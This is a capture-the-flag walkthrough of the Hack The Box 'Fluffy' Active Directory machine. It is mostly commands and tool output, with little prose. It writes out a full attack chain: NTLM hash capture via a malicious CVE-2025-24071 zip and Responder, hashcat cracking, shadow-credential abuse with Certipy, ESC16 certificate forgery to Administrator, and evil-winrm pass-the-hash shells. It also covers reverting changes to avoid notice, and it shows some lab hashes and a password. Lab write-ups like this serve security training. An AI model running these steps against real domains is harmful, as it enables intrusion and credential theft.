Fluffy Walkthrough

Machine: Fluffy#

Date: 28-09-2025 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt IP

Results:#

Port 53 → domain (DNS)
Port 88 → kerberos-sec (Kerberos)
Port 139 → netbios-ssn (NetBIOS Session Service / SMB)
Port 389 → ldap (Active Directory LDAP)
Port 445 → microsoft-ds (SMB / Microsoft-DS)
Port 464 → kpasswd5 (Kerberos password change)
Port 593 → ncacn_http (MS RPC over HTTP)
Port 636 → ssl/ldap (LDAPS — Secure LDAP)
Port 3268 → ldap (Global Catalog LDAP)
Port 3269 → ssl/ldap (Global Catalog LDAPS)
Port 5985 → http (Windows HTTPAPI — WinRM over HTTP)

Notes:#

Domain: fluffy.htb
DNS: dc01.fluffy.htb

📂 Enumeration#

Crackmapexec:#

crackmapexec smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

An SMB share called IT is found with READ and WRITE permissions.
Output:

[*] Adding missing option 'check_guest_account' in config section 'nxc' to nxc.conf
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [*] Enumerated shares
SMB         10.10.11.69     445    DC01             Share           Permissions     Remark
SMB         10.10.11.69     445    DC01             -----           -----------     ------
SMB         10.10.11.69     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.69     445    DC01             C$                              Default share
SMB         10.10.11.69     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.69     445    DC01             IT              READ,WRITE
SMB         10.10.11.69     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.69     445    DC01             SYSVOL          READ            Logon server share

💥 Exploitation#

Let’s try to see what’s in the share IT where we have write and read access:

smbclient '//10.10.11.69/IT' -U 'j.fleischman%J0elTHEM4n1990!'

We see a couple of interesting things, suck a KeePass, an Upgrade Notice in pdf and an executable called Everything. On the PDF talks about some CVEs and that the admins have to update. Let’s try to exploit those CVEs to see if the admins didn’t update it yet. The first one is https://github.com/math-x-io/CVE-2025-25296-POC.git. After some tries it gives some errors on docker setup, so let’s try with the second one: https://github.com/0x6rss/CVE-2025-24071_PoC/tree/main.

With this second CVE, we have to generate a zip malicious file, that we have to upload to the target machine, but first we have to run the responder, once the victim decompress the zip we will receive the NTLM Hashes in our responder, that we have to run with:

sudo responder -I tun0

  mountainflayer   ~/Documents/HTB/Machines/Fluffy  git clone https://github.com/0x6rss/CVE-2025-24071_PoC
Cloning into 'CVE-2025-24071_PoC'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 4), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (18/18), 6.30 KiB | 6.30 MiB/s, done.
Resolving deltas: 100% (4/4), done.
  mountainflayer   ~/Documents/HTB/Machines/Fluffy  cd CVE-2025-24071_PoC
  mountainflayer   ~/Documents/HTB/Machines/Fluffy/CVE-2025-24071_PoC git-[ main]-  ls
 .git   poc.py  󰂺 README.md
  mountainflayer   ~/Documents/HTB/Machines/Fluffy/CVE-2025-24071_PoC git-[ main]-  python3 poc.py
Enter your file name: exploit
Enter IP (EX: 192.168.1.162): 10.10.14.2
completed
  mountainflayer   ~/Documents/HTB/Machines/Fluffy/CVE-2025-24071_PoC git-[ main]-  ls
 .git   exploit.zip   poc.py  󰂺 README.md
  mountainflayer   ~/Documents/HTB/Machines/Fluffy/CVE-2025-24071_PoC git-[ main]-  smbclient '//10.10.11.69/IT' -U 'j.fleischman%J0elTHEM4n1990!'
Try "help" to get a list of possible commands.

smb: \> put /home/mountainflayer/Documents/HTB/Machines/Fluffy/CVE-2025-24071_PoC/exploit.zip \exploit.zip
putting file /home/mountainflayer/Documents/HTB/Machines/Fluffy/CVE-2025-24071_PoC/exploit.zip as \exploit.zip (2.2 kB/s) (average 2.3 kB/s)
smb: \>

After waiting for a couple of seconds we receive the hash of the user:

[SMB] NTLMv2-SSP Client   : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : [NTLM HASH REDACTED]
[*] Skipping previously captured hash for FLUFFY\p.agila
[*] Skipping previously captured hash for FLUFFY\p.agila

This is a NTMLv2 hash, so we have to decrypt it, we can use hashcat for this purpose, after we save the hash in a file called hash.txt (only the line with the hash), we can execute:

.\hashcat.exe -m 5600 -a 0 .\hash.txt ..\rockyou.txt

And we retireve the password (because it’s on the rockyou dictionary):

[NTLM HASH REDACTED]:[REDACTED]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: P.AGILA::FLUFFY:4bd8242311de5f33:9cbbc02a637016d98f...000000
Time.Started.....: Sun Sep 28 16:44:30 2025 (1 sec)
Time.Estimated...: Sun Sep 28 16:44:31 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (C:\Users\Fernando\Downloads\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 32015.2 kH/s (4.09ms) @ Accel:2048 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8912896/14344384 (62.14%)
Rejected.........: 0/8912896 (0.00%)
Restore.Point....: 4456448/14344384 (31.07%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: qu8qr9 -> cronaldO17
Hardware.Mon.#1..: Temp: 56c Fan:  0% Util:  0% Core:1980MHz Mem:9251MHz Bus:16

Started: Sun Sep 28 16:44:22 2025
Stopped: Sun Sep 28 16:44:32 2025

The password is [REDACTED].

Now with this credentials, we can enumerate the LDAP with bloodhound

bloodhound-python -d fluffy.htb -u 'p.agila' -p '[REDACTED]' -dc 'dc01.fluffy.htb' -c all -ns 10.10.11.69

Once the command finish we have to start the neo4j service:

sudo neo4j console

And we can start the BloodHound GUI now:

bloodhound

We have to search for a path inside of bloodhound to achieve privilege rights on the Active Directory. So we can show up the user p.agila, whose password is already known to scalate to winRM_svc

![[Pasted image 20251005173846.png]]

So the first step is to add our owned user to service accounts

bloodyAD -u 'p.agila' -p '[REDACTED]' -d fluffy.htb --host 10.10.11.69 add
groupMember 'service accounts' p.agila

[+] p.agila added to service accounts

Then we have to synchronize our clock with the server one.

sudo timedatectl set-ntp false
sudo ntpdate dc01.fluffy.htb

 5 Oct 23:42:31 ntpdate[22761]: step time server 10.10.11.69 offset +25200.467269 sec

Now with certipy we can extract the NT hash for the users cs_svc and for winrm_svc:

certipy shadow auto -username "[email protected]" -password '[REDACTED]' -account ca_svc

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: FLUFFY.HTB.
[!] Use -debug to print a stacktrace
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '6229527a6ce14fae9a576662854ffe03'
[*] Adding Key Credential with device ID '6229527a6ce14fae9a576662854ffe03' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '6229527a6ce14fae9a576662854ffe03' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

certipy shadow auto -username "[email protected]" -password '[REDACTED]' -account winrm_svc

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: FLUFFY.HTB.
[!] Use -debug to print a stacktrace
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '7130429d9c5f4f129a8c0f5a0387216b'
[*] Adding Key Credential with device ID '7130429d9c5f4f129a8c0f5a0387216b' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '7130429d9c5f4f129a8c0f5a0387216b' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767

Once with the hashes we can get a remote powershell to the users using evil-winrm:

~/.local/share/gem/ruby/3.4.0/bin/evil-winrm -u 'winrm_svc' -H 33bd09dcd697600edf6b3a7af4875767 -i dc01.fluffy.htb

'/home/mountainflayer/.local/share/gem/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/home/mountainflayer/.local/share/gem/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
/home/mountainflayer/.local/share/gem/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>

On the powershell console we can get the user flag:

*Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami
fluffy\winrm_svc
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> cd ..
*Evil-WinRM* PS C:\Users\winrm_svc> ls


    Directory: C:\Users\winrm_svc


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        5/17/2025  11:56 AM                Desktop
d-r---        5/19/2025   9:15 AM                Documents
d-r---        9/15/2018  12:19 AM                Downloads
d-r---        9/15/2018  12:19 AM                Favorites
d-r---        9/15/2018  12:19 AM                Links
d-r---        9/15/2018  12:19 AM                Music
d-r---        9/15/2018  12:19 AM                Pictures
d-----        9/15/2018  12:19 AM                Saved Games
d-r---        9/15/2018  12:19 AM                Videos


*Evil-WinRM* PS C:\Users\winrm_svc> cd Desktop
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> ls


    Directory: C:\Users\winrm_svc\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        10/5/2025  10:39 AM             34 user.txt


*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> cat user.txt
`[FLAG REDACTED]`
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop>

Result: powershell to user winrm_svc#

⚡ Privilege Escalation#

We can use crackmapexec to search for CAs (Enrollment Service)

crackmapexec ldap 10.10.11.69 -u 'winrm_svc' -H [REDACTED] -M adcs

CrackMapExec is deprecated and has been replaced by NetExec.
This binary is just an alias for netexec command.
[-] Failed loading module at /tmp/_MEILkUI5A/nxc/modules/lockscreendoors.py: No module named 'pefile'
LDAP        10.10.11.69     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:None) (channel binding:Never)
LDAP        10.10.11.69     389    DC01             [+] fluffy.htb\winrm_svc:33bd09dcd697600edf6b3a7af4875767
ADCS        10.10.11.69     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.11.69     389    DC01             Found PKI Enrollment Server: DC01.fluffy.htb
ADCS        10.10.11.69     389    DC01             Found CN: fluffy-DC01-CA

There is a CA on DC01.fluffy.htb !

Now we have to search for vulnerabilities on the CA:

certipy find -u 'ca_svc' -hashes [REDACTED] -dc-ip 10.10.11.69 -vulnerable -enabled -stdout

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates                   : [!] Could not find any certificate templates

It seems like the CA is vulnerable to ESC16, that means that we change the User Principal Name on one account and the CA we thinks that is that user, for his example we will change the user name of ca_svp to administrator, to make the CA thinks we are administrator:

certipy account update -u 'ca_svc' -hashes [REDACTED] -dc-ip 10.10.11.69 -user ca_svc -upn 'administrator'

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_svc'

Like the User Principal Name of the user ca_svc is administrator, we can emmit a certificate that is valid for administrator:

certipy req -u 'ca_svc' -hashes [REDACTED] -dc-ip '10.10.11.69' -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

To leave all like it was and no make any change to not let users notice, we change the UPN of ca_svc to the previous one:

certipy account update -u 'ca_svc' -hashes [REDACTED] -dc-ip 10.10.11.69 -user ca_svc -upn '[email protected]'

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : [email protected]
[*] Successfully updated 'ca_svc'

Now using the cesrtificate we can retrieve the NT hash of the user administrator:

certipy auth -pfx administrator.pfx -domain 'fluffy.htb' -dc-ip 10.10.11.69

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': [REDACTED]:[REDACTED]

And now we can get an administrator powershell with evil-winrm:

evil-winrm -u 'Administrator' -H [REDACTED] -i dc01.fluffy.htb

/home/mountainflayer/.local/share/gem/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/home/mountainflayer/.local/share/gem/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

From the administrator powershell we can read the root flag:

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> ls


    Directory: C:\Users\Administrator


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        5/19/2025   3:31 PM                3D Objects
d-r---        5/19/2025   3:31 PM                Contacts
d-r---        5/19/2025   3:31 PM                Desktop
d-r---        5/20/2025   9:17 AM                Documents
d-r---        5/19/2025   3:31 PM                Downloads
d-r---        5/19/2025   3:31 PM                Favorites
d-r---        5/19/2025   3:31 PM                Links
d-r---        5/19/2025   3:31 PM                Music
d-r---        5/19/2025   3:31 PM                Pictures
d-r---        5/19/2025   3:31 PM                Saved Games
d-r---        5/19/2025   3:31 PM                Searches


*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        10/5/2025  10:39 AM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
`[FLAG REDACTED]`

We have to set up again our clock to normal

sudo timedatectl set-ntp true

🎯 Loot / Flags#

user.txt: [FLAG REDACTED]
root.txt: [FLAG REDACTED]

📝 Lessons Learned#

Use of bloddhound to search for a path to admin rights
Use of Bloody

#Windows #ActiveDirectory #HTB #Enumeration #SMB #Kerberos #LDAP #BloodHound #CrackMapExec #Responder #Hashcat #BloodyAD #Certipy #EvilWinRM #PrivilegeEscalation #PostExploitation #ADCS

Adapted from MountainFlayer/htb-writeups under MIT.